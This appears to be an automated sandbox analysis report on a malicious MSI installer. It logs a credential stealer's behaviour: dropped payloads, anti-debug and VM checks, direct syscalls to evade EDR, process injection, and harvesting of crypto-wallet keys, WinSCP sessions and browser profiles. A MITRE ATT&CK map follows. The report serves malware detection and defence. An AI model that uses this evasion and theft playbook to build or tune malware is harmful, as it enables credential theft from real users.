Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	API/Special instruction interceptor: Address: 6C627C44
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	API/Special instruction interceptor: Address: 6C627C44
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	API/Special instruction interceptor: Address: 6C627945
Source: C:\Windows\SysWOW64\cmd.exe	API/Special instruction interceptor: Address: 6C623B54

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Code function: 14_2_022041F8 rdtsc

14_2_022041F8

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\iepdf32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bqjgdd	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mefglukvu	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Caret\iepdf32.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe

API coverage: 6.2 %

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe TID: 1740	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe TID: 4888	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe TID: 6888	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: BrowserSync.exe, 0000000D.00000003.2179534246.0000000000641000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2608945948.0000000000641000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2187841159.0000000000641000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2578464905.0000000000641000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2595139325.0000000000641000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2634074359.0000000000641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: BrowserSync.exe, 0000000D.00000003.2356195116.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Code function: 14_2_022041F8 rdtsc

14_2_022041F8

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe

Code function: 2_2_6CB8A7D6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_6CB8A7D6

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Users\user\AppData\Local\Temp\Caret\hv.exe "C:\Users\user\AppData\Local\Temp\Caret\hv.exe"

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe

Code function: 2_2_6CB8A7D6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_6CB8A7D6

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtCreateFile: Direct from: 0x7FF7FEF899E3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtMapViewOfSection: Direct from: 0x7FF7FEE07E66	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	NtProtectVirtualMemory: Direct from: 0x6CE1299A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEECBAE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	NtQuerySystemInformation: Direct from: 0x6C932647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryValueKey: Direct from: 0x14011D93E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtClose: Direct from: 0x7FF7FEF8BF3F
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE2F5C8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtSetInformationProcess: Direct from: 0x7FF7FEED66DE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtSetInformationProcess: Direct from: 0x7FF7FEED6920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtCreateFile: Direct from: 0x7FF7FEF875BD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtClose: Indirect: 0x14012000F
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE64926	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryValueKey: Direct from: 0x7FF7FEE38C51	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadVirtualMemory: Direct from: 0x7FF7FEED760B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE63713	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtSetInformationProcess: Direct from: 0x7FF7FEF3D9EC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FFE221C26A1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtSetInformationProcess: Direct from: 0x7FF7FEE22318	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtClose: Direct from: 0x7FF7FEF8BF4D
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE1E22D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadVirtualMemory: Direct from: 0x7FF7FEED809B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtSetInformationProcess: Direct from: 0x7FF7FEE10F8B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED8AC89	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryInformationProcess: Direct from: 0x7FF7FEED6506	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtCreateThreadEx: Direct from: 0x7FF7FED84B49	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x14011D808	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtSetInformationProcess: Direct from: 0x7FF7FEE10B99	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadVirtualMemory: Direct from: 0x7FF7FEEE64FD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtMapViewOfSection: Direct from: 0x7FF7FEE08026	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED8C8B2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtDelayExecution: Direct from: 0x7FF7FEF06506	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryInformationProcess: Direct from: 0x7FF7FEE87ECE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtMapViewOfSection: Direct from: 0x7FF7FEF8A8AA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadVirtualMemory: Direct from: 0x7FF7FEF872FF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtClose: Direct from: 0x7FF7FEF899FA
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE26FF7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtDelayExecution: Direct from: 0x7FF7FEF04D42	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtCreateFile: Direct from: 0x7FF7FEE1C58C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtClose: Direct from: 0x7FF7FEF8BF2B
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtClose: Direct from: 0x7FF7FEE1551F
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE35CE2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtCreateThreadEx: Direct from: 0x7FF7FED849AF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtEnumerateValueKey: Direct from: 0x7FF7FEEC3A78	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED944BC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtTerminateProcess: Direct from: 0x7FF7FEE217F8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEDFDA4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED846C2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryInformationProcess: Direct from: 0x7FF7FEF8F680	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEE3D8D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryInformationProcess: Direct from: 0x7FF7FEE22804	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtClose: Direct from: 0x14011D864
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FFE221E4B5E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtDelayExecution: Direct from: 0x7FF7FEF11E8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadVirtualMemory: Direct from: 0x7FF7FEEDD660	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED91021	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtOpenKeyEx: Direct from: 0x7FF7FEE3839A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryInformationProcess: Direct from: 0x7FF7FEF3F89F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEDDAD5	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	NtQuerySystemInformation: Direct from: 0x6C1B2647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE612AD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE678CD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtDelayExecution: Direct from: 0x7FF7FEF00199	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEFB783	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	NtProtectVirtualMemory: Direct from: 0x6C592C08	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED9136F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtDeviceIoControlFile: Direct from: 0x7FF7FEE93E6B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadVirtualMemory: Direct from: 0x7FF7FEEDD6EB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtSetInformationProcess: Direct from: 0x7FF7FEE22FBF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryInformationProcess: Direct from: 0x7FF7FEE223EF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadVirtualMemory: Direct from: 0x7FF7FEED78C6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE668DA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtCreateThreadEx: Direct from: 0x7FF7FEF3BD3C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEEB0CD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEDD16D6	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtSetInformationThread: Direct from: 0x7FF7FEF94C58	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadFile: Direct from: 0x14011D832	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE26F19	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadVirtualMemory: Direct from: 0x7FF7FEEDD561	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryInformationProcess: Direct from: 0x7FF7FEEE6194	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryValueKey: Direct from: 0x7FF7FEE38B58	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryInformationProcess: Direct from: 0x7FF7FEED5807	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEE2337	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEE6475	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	NtQuerySystemInformation: Direct from: 0x6C112647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED8A311	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED9229B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEDB935	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtCreateFile: Direct from: 0x14011D7A4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryValueKey: Direct from: 0x7FF7FEE39871	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEF8ACD8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED8DF75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FED8DDCA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtQueryValueKey: Direct from: 0x7FF7FEE39599	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtReadFile: Direct from: 0x7FF7FEE15047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtMapViewOfSection: Direct from: 0x7FF7FEE6788B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x140120A3C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEEAAFE9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE1C790	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	NtAllocateVirtualMemory: Direct from: 0x7FF7FEE300C5	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\BrowserSync.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\BrowserSync.exe protection: read write
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\BrowserSync.exe base: 14011BC08	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\BrowserSync.exe base: 206010	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\BrowserSync.exe base: 14011BC08
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Users\user\AppData\Local\Temp\BrowserSync.exe base: 24B010

Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\BrowserSync.exe C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\BrowserSync.exe C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: )[%d] Shell_TrayWndTrayNotifyWnd

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: EnumSystemLocalesW,	2_2_6CB8DC63
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: EnumSystemLocalesW,	2_2_6CB8DDA5
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: EnumSystemLocalesW,	2_2_6CB8D968
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_6CB8DE97
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: GetLocaleInfoW,	2_2_6CB8965C
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: EnumSystemLocalesW,	2_2_6CB89B9D
Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_6CB8D717

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2 Override	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2 Override	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	212 Process Injection	21 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Virtualization/Sandbox Evasion	1 Credentials in Registry	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 DLL Side-Loading	212 Process Injection	NTDS	11 Peripheral Device Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	135 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cLm7ThwEvh.msi	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\BrowserSync.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Caret\hv.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Caret\iepdf32.dll	5%	ReversingLabs
C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\HW_Wordpad_debug\iepdf32.dll	5%	ReversingLabs

Source	Detection	Scanner	Label
https://www.handyviewer.com/donate.htmlopen	0%	Avira URL Cloud	safe
https://www.handyviewer.com/openSV	0%	Avira URL Cloud	safe
https://ntp.msn.	0%	Avira URL Cloud	safe
https://ntp.msn.comx-as-suppresssetcookie:1cache-control:private	0%	Avira URL Cloud	safe
http://www.softwareok.de	0%	Avira URL Cloud	safe
https://dns.levonet.sk/dns-query	0%	Avira URL Cloud	safe
